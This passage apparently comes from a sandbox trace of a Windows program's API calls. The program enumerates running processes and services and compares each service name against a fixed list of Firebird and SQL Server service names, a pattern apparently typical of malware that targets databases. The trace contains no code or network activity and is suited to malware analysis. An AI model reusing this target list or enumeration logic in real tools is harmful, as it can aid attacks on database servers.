pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0153.743] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0153.743] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0153.744] lstrlenW (lpString="conhost.exe") returned 11 [0153.744] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0153.744] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0153.744] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0153.745] lstrlenW (lpString="conhost.exe") returned 11 [0153.745] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0153.745] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0153.746] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0153.746] lstrlenW (lpString="powershell.exe") returned 14 [0153.746] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0153.747] lstrlenW (lpString="conhost.exe") returned 11 [0153.747] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0153.747] lstrlenW (lpString="TiWorker.exe") returned 12 [0153.747] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0153.748] lstrlenW (lpString="sppsvc.exe") returned 10 [0153.748] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0153.748] lstrlenW (lpString="powershell.exe") returned 14 [0153.748] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0153.749] lstrlenW (lpString="conhost.exe") returned 11 [0153.749] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0153.749] lstrlenW (lpString="taskhostw.exe") returned 13 [0153.749] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0153.750] lstrlenW (lpString="NS2.exe") returned 7 [0153.750] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0153.750] lstrlenW (lpString="conhost.exe") returned 11 [0153.750] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0153.751] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0153.751] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0153.751] lstrlenW (lpString="dllhost.exe") returned 11 [0153.752] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0153.752] lstrlenW (lpString="winhost.exe") returned 11 [0153.752] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0153.752] lstrlenW (lpString="cmd.exe") returned 7 [0153.752] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0153.753] lstrlenW (lpString="conhost.exe") returned 11 [0153.753] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0153.753] CloseHandle (hObject=0x2f0) returned 1 [0153.753] Sleep (dwMilliseconds=0x1f4) [0154.391] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eee78 [0154.392] EnumServicesStatusExW (in: hSCManager=0x6eee78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0154.392] GetLastError () returned 0xea [0154.392] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x37d0998 [0154.392] EnumServicesStatusExW (in: hSCManager=0x6eee78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37d0998, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37d0998, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0154.393] CloseServiceHandle (hSCObject=0x6eee78) returned 1 [0154.393] lstrlenW (lpString="Appinfo") returned 7 [0154.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0154.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0154.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0154.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0154.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0154.393] lstrlenW (lpString="AppXSvc") returned 7 [0154.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0154.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0154.393] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0154.393] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0154.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0154.393] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0154.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0154.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0154.393] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0154.393] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0154.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0154.393] lstrlenW (lpString="Audiosrv") returned 8 [0154.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0154.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0154.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0154.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0154.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0154.394] lstrlenW (lpString="BFE") returned 3 [0154.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0154.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0154.394] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0154.394] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0154.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0154.394] lstrlenW (lpString="BITS") returned 4 [0154.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0154.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0154.394] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0154.394] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0154.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0154.394] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0154.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0154.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0154.394] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0154.394] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0154.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0154.394] lstrlenW (lpString="CDPSvc") returned 6 [0154.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0154.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0154.394] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0154.394] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0154.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0154.394] lstrlenW (lpString="ClipSVC") returned 7 [0154.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0154.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0154.394] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0154.394] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0154.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0154.394] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0154.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0154.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0154.394] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0154.394] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0154.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0154.394] lstrlenW (lpString="CryptSvc") returned 8 [0154.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0154.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0154.394] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0154.394] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0154.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0154.394] lstrlenW (lpString="DcomLaunch") returned 10 [0154.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0154.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0154.394] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0154.394] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0154.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0154.394] lstrlenW (lpString="Dhcp") returned 4 [0154.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0154.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0154.395] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0154.395] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0154.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0154.395] lstrlenW (lpString="Dnscache") returned 8 [0154.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0154.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0154.395] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0154.395] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0154.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0154.395] lstrlenW (lpString="DoSvc") returned 5 [0154.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0154.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0154.395] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0154.395] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0154.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0154.395] lstrlenW (lpString="DPS") returned 3 [0154.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0154.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0154.395] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0154.395] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0154.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0154.395] lstrlenW (lpString="DusmSvc") returned 7 [0154.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0154.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0154.395] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0154.395] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0154.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0154.395] lstrlenW (lpString="EventLog") returned 8 [0154.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0154.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0154.395] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0154.395] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0154.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0154.395] lstrlenW (lpString="EventSystem") returned 11 [0154.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0154.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0154.395] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0154.395] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0154.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0154.395] lstrlenW (lpString="gpsvc") returned 5 [0154.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0154.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0154.395] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0154.395] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0154.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0154.395] lstrlenW (lpString="iphlpsvc") returned 8 [0154.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0154.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0154.395] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0154.395] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0154.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0154.395] lstrlenW (lpString="KeyIso") returned 6 [0154.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0154.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0154.396] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0154.396] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0154.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0154.396] lstrlenW (lpString="LanmanServer") returned 12 [0154.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0154.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0154.396] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0154.396] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0154.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0154.396] lstrlenW (lpString="LanmanWorkstation") returned 17 [0154.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0154.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0154.396] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0154.396] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0154.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0154.396] lstrlenW (lpString="lfsvc") returned 5 [0154.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0154.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0154.396] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0154.396] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0154.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0154.396] lstrlenW (lpString="LicenseManager") returned 14 [0154.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0154.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0154.396] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0154.396] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0154.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0154.396] lstrlenW (lpString="lmhosts") returned 7 [0154.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0154.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0154.396] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0154.396] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0154.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0154.396] lstrlenW (lpString="LSM") returned 3 [0154.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0154.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0154.396] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0154.396] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0154.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0154.396] lstrlenW (lpString="MpsSvc") returned 6 [0154.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0154.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0154.396] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0154.396] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0154.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0154.396] lstrlenW (lpString="NcbService") returned 10 [0154.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0154.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0154.396] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0154.396] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0154.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0154.397] lstrlenW (lpString="netprofm") returned 8 [0154.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0154.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0154.397] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0154.397] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0154.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0154.397] lstrlenW (lpString="NlaSvc") returned 6 [0154.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0154.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0154.397] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0154.397] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0154.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0154.397] lstrlenW (lpString="nsi") returned 3 [0154.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0154.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0154.397] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0154.397] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0154.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0154.397] lstrlenW (lpString="PcaSvc") returned 6 [0154.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0154.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0154.397] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0154.397] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0154.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0154.397] lstrlenW (lpString="PlugPlay") returned 8 [0154.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0154.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0154.397] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0154.397] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0154.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0154.397] lstrlenW (lpString="Power") returned 5 [0154.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0154.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0154.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0154.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0154.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0154.397] lstrlenW (lpString="ProfSvc") returned 7 [0154.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0154.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0154.397] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0154.397] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0154.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0154.397] lstrlenW (lpString="RpcEptMapper") returned 12 [0154.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0154.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0154.397] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0154.397] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0154.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0154.397] lstrlenW (lpString="RpcSs") returned 5 [0154.397] lstrcmpiW 